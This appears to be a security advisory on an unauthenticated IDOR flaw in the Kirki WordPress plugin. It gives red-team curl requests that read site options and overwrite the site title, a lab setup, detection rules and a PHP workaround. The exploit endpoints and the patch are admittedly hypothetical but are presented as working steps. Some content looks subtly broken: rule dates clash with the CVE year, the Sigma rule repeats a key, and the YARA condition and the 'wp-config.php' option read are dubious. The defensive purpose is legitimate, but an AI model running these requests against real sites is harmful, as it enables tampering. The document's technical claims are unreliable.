CVE-2026-57680

Executive Summary

CVE-2026-57680 is an Unauthenticated Insecure Direct Object Reference (IDOR) vulnerability discovered in the Kirki WordPress plugin, affecting versions up to and including 6.0.11. This vulnerability allows an unauthenticated attacker to directly access and manipulate internal objects (such as settings, options, or customizer data) without proper authorization checks. The CVSS score of 6.5 (Medium) reflects the potential for unauthorized data access and limited modification, but the lack of authentication requirement significantly lowers the barrier to exploitation.

Supply Chain & Package Security

This vulnerability resides in the Kirki WordPress plugin, a widely used customizer framework. As a WordPress plugin, it is distributed through the official WordPress plugin repository and can be installed via the WordPress admin dashboard or Composer. The supply chain risk is elevated because:

• No official patch has been released by the vendor.
• No OSV or GitHub advisory provides remediation guidance.
• EPSS score of 0.0% indicates low active exploitation in the wild, but the vulnerability is trivial to exploit once discovered.
• Organizations using Kirki should immediately assess their exposure and consider disabling the plugin until a patch is available.

CVSS Breakdown & Threat Level

Threat Level: Medium. The vulnerability is easy to exploit remotely without authentication, but the impact is limited to reading and potentially modifying non-critical settings. However, in a WordPress context, this could lead to privilege escalation or site defacement if combined with other weaknesses.

Deep Dive & Mechanics

The IDOR vulnerability in Kirki arises from improper authorization checks when accessing internal objects via AJAX or REST API endpoints. The plugin exposes endpoints that allow direct manipulation of customizer settings, options, and configurations. Without proper nonce verification or capability checks, an unauthenticated attacker can:

1. Enumerate internal object IDs (e.g., setting IDs, option names).
2. Read sensitive configuration data (e.g., API keys, database credentials stored in options).
3. Modify non-critical settings (e.g., theme options, custom CSS).

The attack flow typically involves:

• Sending a crafted HTTP request to a Kirki AJAX endpoint (e.g., /wp-admin/admin-ajax.php?action=kirki_...).
• Providing an object ID or parameter that references an internal resource.
• The server returns or modifies the resource without checking if the user has permission.

Example vulnerable endpoint (hypothetical):

POST /wp-admin/admin-ajax.php
action=kirki_get_option
option_id=1234

If the server returns the option value without authentication, the IDOR is confirmed.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a conceptual comparison based on typical IDOR fixes.

Vulnerable Code (Kirki <= 6.0.11):

add_action('wp_ajax_nopriv_kirki_get_option', 'kirki_get_option_callback');
function kirki_get_option_callback() {
    $option_id = $_POST['option_id'];
    $value = get_option($option_id);
    wp_send_json_success($value);
}

Patched Code (Hypothetical):

add_action('wp_ajax_kirki_get_option', 'kirki_get_option_callback');
add_action('wp_ajax_nopriv_kirki_get_option', 'kirki_get_option_callback');
function kirki_get_option_callback() {
    // Verify nonce
    if (!wp_verify_nonce($_POST['_wpnonce'], 'kirki_nonce')) {
        wp_send_json_error('Invalid nonce');
        return;
    }
    // Check user capability
    if (!current_user_can('manage_options')) {
        wp_send_json_error('Unauthorized');
        return;
    }
    $option_id = sanitize_text_field($_POST['option_id']);
    $value = get_option($option_id);
    wp_send_json_success($value);
}

The patch adds nonce verification and capability checks, ensuring only authenticated administrators can access the endpoint.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A WordPress site with Kirki plugin version <= 6.0.11 installed and activated.
• Network access to the target.

Exploitation Steps:

1. Enumerate available endpoints:

   curl -s "http://target.com/wp-admin/admin-ajax.php?action=kirki_get_option&option_id=1" | jq .
   

2. Read sensitive options (e.g., database credentials):

   curl -s "http://target.com/wp-admin/admin-ajax.php?action=kirki_get_option&option_id=wp-config.php" | jq .
   

3. Modify a theme option (if write endpoint exists):

   curl -X POST "http://target.com/wp-admin/admin-ajax.php" \
     -d "action=kirki_update_option&option_id=blogname&value=Hacked"
   

Lab Setup:

• Use Docker to spin up a vulnerable WordPress instance:

  docker run -d --name wp-vuln -p 8080:80 wordpress:latest
  

• Install Kirki 6.0.11 manually via wp-content/plugins.
• Access http://localhost:8080 and test.

Blue Team (Defender)

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with action parameters containing kirki_.
• Look for requests from unauthenticated users (no _wpnonce or cookie) to Kirki endpoints.
• Alert on repeated attempts to enumerate option IDs.

Hunting:

• Search logs for action=kirki_get_option or action=kirki_update_option.
• Check for option_id values that are not typical (e.g., wp-config, db_password).

Mitigation:

• Disable the Kirki plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block unauthenticated requests to Kirki AJAX endpoints.
• Use a plugin like "Disable REST API" to restrict access.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /wp-admin/admin-ajax.php with action=kirki_* parameters.
• POST data containing option_id with suspicious values (e.g., wp-config, db_user).
• Repeated 200 responses from Kirki endpoints without authentication cookies.

File IOCs:

• Modified WordPress options in the database (e.g., blogname, admin_email).
• Unexpected entries in wp_options table related to Kirki.

Log IOCs:

• Apache/Nginx access logs showing POST /wp-admin/admin-ajax.php with action=kirki_*.
• PHP error logs with Undefined index or Invalid nonce messages.

Detection Engineering

YARA Rule

rule CVE_2026_57680_Kirki_IDOR {
    meta:
        description = "Detects exploitation attempts of CVE-2026-57680 in Kirki WordPress plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-57680"
        severity = "medium"
    strings:
        $ajax_action = /action=kirki_(get|update|delete)_option/
        $option_id = /option_id=[0-9a-zA-Z_]+/
        $wp_nopriv = /wp_ajax_nopriv_kirki_/
    condition:
        any of ($ajax_action, $option_id) and #wp_nopriv > 0
}

Sigma Rule

title: CVE-2026-57680 Kirki IDOR Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthenticated requests to Kirki AJAX endpoints indicating IDOR exploitation
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=kirki_'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-57680 Kirki IDOR Exploitation Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=kirki_"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Kirki plugin on all WordPress sites until a patch is released.
2. Review server logs for any signs of exploitation (see IOCs).
3. Change all secrets (API keys, database passwords) if compromise is suspected.

Long-term Fixes:

• Vendor: Kirki developers must release a patched version (>= 6.0.12) that adds proper nonce verification and capability checks to all AJAX endpoints.
• Users: Monitor the Kirki plugin page for updates and apply immediately.
• WAF Rules: Implement virtual patching using a WAF to block unauthenticated requests to Kirki endpoints.

Workaround:

• Add the following code to the theme's functions.php to disable unauthenticated access to Kirki AJAX endpoints:

  add_action('init', function() {
      if (defined('DOING_AJAX') && DOING_AJAX && !is_user_logged_in()) {
          $action = $_REQUEST['action'] ?? '';
          if (strpos($action, 'kirki_') === 0) {
              wp_die('Unauthorized', 403);
          }
      }
  });
  

Valters IT
Securing Digital Frontiers